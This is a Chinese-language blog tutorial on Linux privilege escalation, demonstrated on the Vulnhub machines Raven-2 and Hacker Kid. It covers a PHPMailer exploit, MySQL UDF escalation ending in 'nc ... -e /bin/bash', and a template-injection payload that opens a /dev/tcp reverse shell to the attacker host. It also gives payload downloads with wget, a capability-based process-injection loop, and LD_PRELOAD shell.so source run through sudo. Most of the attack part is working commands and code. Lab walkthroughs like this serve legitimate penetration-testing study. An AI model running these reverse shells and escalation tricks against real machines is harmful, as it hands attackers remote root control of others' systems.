权限提升-Linux系统权限提升篇VulnhubCapability能力LD_Preload加载数据库等

知识点

1、Web或用户到Linux-数据库类型
2、Web或用户到Linux-Capability能力
3、普通用户到Linux-LD_Preload加载so配合sudo

章节点:
1、Web权限提升及转移
2、系统权限提升及转移
3、宿主权限提升及转移
4、域控权限提升及转移

在这里插入图片描述

基础点

0、为什么我们要学习权限提升转移技术:

简单来说就是达到目的过程中需要用到它

1、具体有哪些权限需要我们了解掌握的:

后台权限
数据库权限
Web权限
计算机用户权限
计算机系统权限
宿主机权限
域控制器权限

2、以上常见权限获取方法简要归类说明:

后台权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
数据库权限:SQL注入,数据库泄漏,弱口令攻击,未授权访问等造成
Web权限:RCE,反序列化,文件上传等直达或通过后台数据库间接造成
计算机用户权限:弱口令,数据泄漏等直达或通过Web,服务器及域控转移造成
计算机系统权限:系统内核漏洞,钓鱼后门攻击,主机软件安全直达或上述权限提升造成
宿主机权限:Docker不安全配置或漏洞权限提升直达(服务资产造成入口后提升)
域控制器权限:内网域计算机用户提升或自身内核漏洞,后门攻击,主机软件安全直达

3、以上常见权限获取后能操作的具体事情:

后台权限:文章管理,站点管理,模版管理,数据管理,上传管理等
数据库权限:操作数据库的权限,数据增删改查等(以数据库用户为主)
Web权限:源码查看,源码文件增删改查,磁盘文件文件夹查看(以权限配置为主)
计算机用户权限:就如同自己电脑上普通用户能操作的情况(敏感操作会被禁止)
计算机系统权限:就如同自己电脑上能操作的情况(整个系统都是你的)
宿主机权限:就如同自己电脑上能操作的情况(整个系统都是你的)
域控制器权限:就如同自己电脑上能操作的情况(整个内网域系统都是你的)

4、以上常见权限在实战中的应用场景介绍:

当我们通过弱口令进入到应用后台管理
当我们下载备份文件获取到数据库信息
当我们通过漏洞拿到资产系统的Web权限
当我们在公司被给予账号密码登录计算机或系统
当我们在公司或钓鱼后门获取到某个公司机器系统
.....................................

Linux提权

1、内核溢出提权
2、suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
3、数据库类型提权

Linux:

系统用户:UID(0-999)
普通用户:UID(1000-*)
root用户:UID为0,拥有系统的完全控制权限

综合检测脚本

https://github.com/carlospolop/PEASS-ng
https://github.com/diego-treitos/linux-smart-enumeration
https://github.com/redcode-labs/Bashark
https://github.com/rebootuser/LinEnum

一、演示案例-Linux系统提权-Web&用户-数据库类型

在这里插入图片描述
复现环境:https://www.vulnhub.com/entry/raven-2,269/

1、信息收集

在这里插入图片描述
http://192.168.139.155/vendor/
在这里插入图片描述
在这里插入图片描述

2、Web权限获取

searchsploit phpmailer

在这里插入图片描述

find / -name 40969.py
cp /usr/share/exploitdb/exploits/php/webapps/40969.py p.py

在这里插入图片描述

python p.py

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

python -c 'import pty; pty.spawn("/bin/bash")' //起一个交互式终端

在这里插入图片描述
在这里插入图片描述

3、MYSQL-UDF提权

两种提权方式:1、用梭哈工具(注意外联问题) 2、手工操作(不需要外联)

编译UDF.so

searchsploit udf
cp /usr/share/exploitdb/exploits/linux/local/1518.c .  //复制到当前所在文件夹
gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc

在这里插入图片描述
python -m http.server 8080

下载到目标上

python -c 'import pty; pty.spawn("/bin/bash")'
cd tmp
wget http://192.168.139.141:8080/udf.so

连接进行导出调用

mysql -uroot -pR@v3nSecurity
select version();   //查看mysql版本
select @@basedir;   //确认mysql安装位置
show variables like '%basedir%';    //确认mysql安装位置
show variables like '%secure%';  //查看可导出文件位置
show variables like '%plugin%';   //查找插件位置
show variables like '%compile%';   //查看系统版本

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

use mysql;
// 创建xiaodi表
create table xiaodi(line blob);
// 往xiaodi表中插入二进制的udf.so
insert into xiaodi values(load_file('/tmp/udf.so'));
// 导出udf.so到其他位置
select * from xiaodi into dumpfile '/usr/lib/mysql/plugin/udf.so';
// 创建do_system自定义函数并执行命令
create function do_system returns integer soname 'udf.so';
select do_system('nc 192.168.139.141 6666 -e /bin/bash');

在这里插入图片描述
在这里插入图片描述

二、演示案例-Linux系统提权-Web&用户-Capability能力

原理参考:https://www.cnblogs.com/f-carey/p/16026088.html

1、入门

cp /usr/bin/php /tmp/php
chmod 777 /tmp/php
设置能力:setcap cap_setuid+ep /tmp/php
删除能力:setcap -r /tmp/php
查看单个能力:getcap /usr/bin/php
查看所有能力:getcap -r / 2>/dev/null

在这里插入图片描述
Hacker_Kid
WP参考:https://www.jianshu.com/p/60673ac0454f
在这里插入图片描述
在这里插入图片描述
参考这个地址:https://gtfobins.github.io/
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、vulnhub

复现环境:https://www.vulnhub.com/entry/hacker-kid-101,719/
WP参考:https://www.jianshu.com/p/60673ac0454f

saket
Saket!#$%@!!

在这里插入图片描述

{% import os %}{{os.system('bash -c "bash -i &> /dev/tcp/192.168.139.141/6688 0>&1"')}}
http://192.168.139.156:9999/?name=%7B%25+import+os+%25%7D%7B%7Bos%2Esystem%28%27bash+%2Dc+%22bash+%2Di+%26%3E+%2Fdev%2Ftcp%2F192%2E168%2E139%2E141%2F6688+0%3E%261%22%27%29%7D%7D

在这里插入图片描述

在这里插入图片描述

/sbin/getcap -r / 2>/dev/null //查看所有能力

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

python -m http.server 8080
wget http://192.168.139.141:8080/inject.py
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

在这里插入图片描述

nc 192.168.139.156 5600

在这里插入图片描述

结论

suid升级版,更细致的权限划分,当拿到权限后要先看下有哪些程序有能力,在对这些能力进行筛选利用。

三、演示案例-Linux系统提权-普通用户-LD_Preload加载&配合sudo

类似windows dll劫持,而linux是执行so文件,windows是执行dll文件

在这里插入图片描述

在一个应用程序运行时会加载一些固定的动态链接库,也就是so文件,一旦设置了LD_Preload,就可以用这个LD_Preload在程序运行前优先加载攻击者自定义的so文件,从而达到提权效果。

参考:https://www.cnblogs.com/backlion/p/10503985.html

Defaults        env_keep += LD_PRELOAD  //设置开启LD_PRELOAD
test  ALL=(ALL:ALL) NOPASSWD: /usr/bin/find  //所有用户能不用密码就对这个find进行操作

在这里插入图片描述
在这里插入图片描述

一旦这样设置就会有两个安全问题:1、sudo提权 2、LD_Preload提权

LD_Preload提权

shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles  //编译这个shell.c文件为shell.so文件
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find //让find在执行的时候绑定编译好的so文件

在这里插入图片描述

Defaults        env_keep += LD_PRELOAD //设置开启LD_PRELOAD
test  ALL=(ALL:ALL) NOPASSWD: /tmp/LinEnum.sh //所有用户能不用密码就对这个LinEnum.sh进行操作,LinEnum.sh是一个综合检测脚本
sudo LD_PRELOAD=/tmp/shell.so /tmp/LinEnum.sh

在这里插入图片描述

结论

当sudo提权有限制时(只有第三方程序文件有sudo权限),但是一旦设置了LD_PRELOAD,那么只要有sudo程序既可提权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/507633.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Python接口自动化 —— 什么是接口测试、为什么要做接口测试?

简介 上一篇和大家一起科普扫盲接口后&#xff0c;知道什么是接口&#xff0c;接口类型等&#xff0c;对其有了大致了解之后&#xff0c;我们就回到主题-接口测试。 什么是接口测试 接口测试是测试系统组件间接口的一种测试。接口测试主要用于检测外部系统与系统之间以及内部各…

C语言-冒泡排序算法

题目描述 设计一个程序&#xff0c;实现冒泡排序算法&#xff0c;并输出{9,8,7,6,5,4,3,2,1,0} 的排序过程。 输出 每个排序过程输出一行&#xff0c;直到排序完成。 样例输出 Expected 9 8 7 6 5 4 3 2 1 0 0 9 8 7 6 5 4 3 2 1 0 1 9 …

HDLbits 刷题 -- Always if

学习&#xff1a; An if statement usually creates a 2-to-1 multiplexer, selecting one input if the condition is true, and the other input if the condition is false. always (*) beginif (condition) beginout x;endelse beginout y;end end This is equivalent …

衍生品交易概况

场内 场外 交易台架构 报价、交易、研究、程序个股、股指Flow、Exotic线性、非线性 对冲管理 管理风险敞口 做好情景分析 尊重市场选择 及时调整策略 理解头寸 善于学习 场外衍生品交易员的一天 盘前 回顾市场、决定今天总体方向处理隔夜敞口 盘中 处理客户询价…

关于 HEAP CORRUPTION DETECTED:after Normal block 错误的原因及解析

目录 一、HEAP CORRUPTION DETECTED:after Normal block 出现的报错情况&#xff1a; 二、问题原因&#xff08;重要&#xff09;&#xff1a; 三、举例 1.错误代码如下&#xff1a; 2.错误原因及分析&#xff08;重要&#xff09;&#xff1a; 3.解决方法 ​编辑 4.正…

两数之和-考察哈希表的运用

题目 给定一个整数数组 n u m s nums nums和一个整数目标值 t a r g e t target target&#xff0c;请你在该数组中找出和为目标值 t a r g e t target target的那 两个整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同…

计算机网络数据链路层知识总结

物理层知识总结传送门 计算机网络物理层知识点总结-CSDN博客 功能 功能概述 一些基本概念 结点:主机、路由器链路﹔网络中两个结点之间的物理通道&#xff0c;链路的传输介质主要有双绞线、光纤和微波。分为有线链路、无线链路。数据链路︰网络中两个结点之间的逻辑通道&a…

“数字化”持续走热,VR全景助力制造业上“云”

制造业要升级&#xff0c;数字化改造是重要途径。 早年间&#xff0c;由于对数字化的认识不足&#xff0c;一些企业明明有数字化改造需求&#xff0c;却不敢、不愿、不会上“云”。直到此次两会期间&#xff0c;2024年政府工作报告再次提出推动制造业数字化转型&#xff0c;越…

第十三届蓝桥杯JavaA组省赛真题 - 求和

解题思路&#xff1a; 这&#xff0c;真的是&#xff0c;省赛真题吗... public class Main {public static void main(String[] args) {long res 0;for (int i 1; i < 20230408; i) {res i;}System.out.print(res);} }

MYSQL——索引分类索引语法

索引分类 索引分类 在MySQL数据库&#xff0c;将索引的具体类型主要分为以下几类&#xff1a;主键索引、唯一索引、常规索引、全文索引。 当你在创建表的时候&#xff0c;给某个字段加上主键约束&#xff0c;实际上就是在这个字段上创建了一个主键索引。给某个字段加上唯一约…

​数据结构—栈操作经典案例

括号匹配&#xff1a; 这是我最开始写的&#xff0c;运行有问题 对于输入的括号序列&#xff0c;建议使用标准的 C 字符串而不是字符数组。 #include<iostream> using namespace std;typedef char SelemType; typedef int Status; #define OK 1 #define MAXSIZE 100 #…

Mysql数据库:故障分析与配置优化

目录 前言 一、Mysql逻辑架构图 二、Mysql单实例常见故障 1、无法通过套接字连接到本地MySQL服务器 2、用户rootlocalhost访问被拒绝 3、远程连接数据库时连接很慢 4、无法打开以MYI结尾的索引文件 5、超出最大连接错误数量限制 6、连接过多 7、配置文件/etc/my.cnf权…

element UI中设置图片的高度并支持PC和手机自适应

系列文章目录 一、elementui 导航菜单栏和Breadcrumb 面包屑关联 二、element UI左侧导航菜单栏与main区域联动 三、element UI中设置图片的高度并支持PC和手机自适应 文章目录 系列文章目录前言一、实现步骤设置图片的高度以适应不同的设备&#xff1a; 二、项目应用最终效…

【Laravel】06 数据库迁移工具migration

【Laravel】06 数据库迁移工具migration 1.migration文件目录2. 举例 1.migration文件目录 2. 举例 (base) ➜ example-app php artisan migrate Migration table created successfully. Migrating: 2014_10_12_000000_create_users_table Migrated: 2014_10_12_000000_crea…

学习笔记——C语言基本概念指针(下)——(8)

1.指针和数组 数组指针 -- 指向数组的指针。 指针数组 -- 数组的元素都是指针。 换句话理解就是&#xff1a;数组指针就是个指针&#xff0c;指针数组就是个数组。 1.1数组指针 数组指针&#xff1a;指向数组的指针&#xff1b; 先回顾一下数组的特点&#xff1a; 1.相…

最大连续1的个数 Ⅲ【滑动窗口】

文章目录 往期滑动窗口上上期&#xff1a;滑动窗口0.1分析0.2 暴力求解【超时】0.3 滑动窗口 上期&#xff1a; 滑动窗口1.1暴力哈希1.2滑动窗口 本期 往期滑动窗口 上上期&#xff1a;滑动窗口 0.1分析 这道题要求的是一个区间 是区间就有【第一个元素】 即起始位置 0.2 暴…

算法学习——LeetCode力扣动态规划篇1(509. 斐波那契数、70. 爬楼梯、746. 使用最小花费爬楼梯、62. 不同路径、63. 不同路径 II)

算法学习——LeetCode力扣动态规划篇1 509. 斐波那契数 509. 斐波那契数 - 力扣&#xff08;LeetCode&#xff09; 描述 斐波那契数 &#xff08;通常用 F(n) 表示&#xff09;形成的序列称为 斐波那契数列 。该数列由 0 和 1 开始&#xff0c;后面的每一项数字都是前面两项…

Nessus【部署 01】Linux环境部署漏洞扫描工具Nessus最新版详细过程分享(下载+安装+注册+激活)

Nessus最新版详细部署过程分享 1. 获取激活码2.主程序下载安装启动2.1 下载2.2安装2.3 启动 3.许可证及插件3.1 许可证获取3.2 插件安装 4.安装总结 Nessus官方网站&#xff1a; https://www.tenable.com/products/nessus/nessus-essentials 及介绍&#xff1a; 国际数据公司&…

WebUI自动化必备技能-HTML和css知识详解

学习web自动化的前提条件&#xff1a;手工测试&#xff08;了解各种测试的知识&#xff09;、学习编程语言、学习Web基础、学习自动化测试工具 、学习自动化测试框架 、需要掌握前端的一些知识&#xff0c;无论学习语言还是前端知识&#xff0c;都是为了接下来的脚本和框架做铺…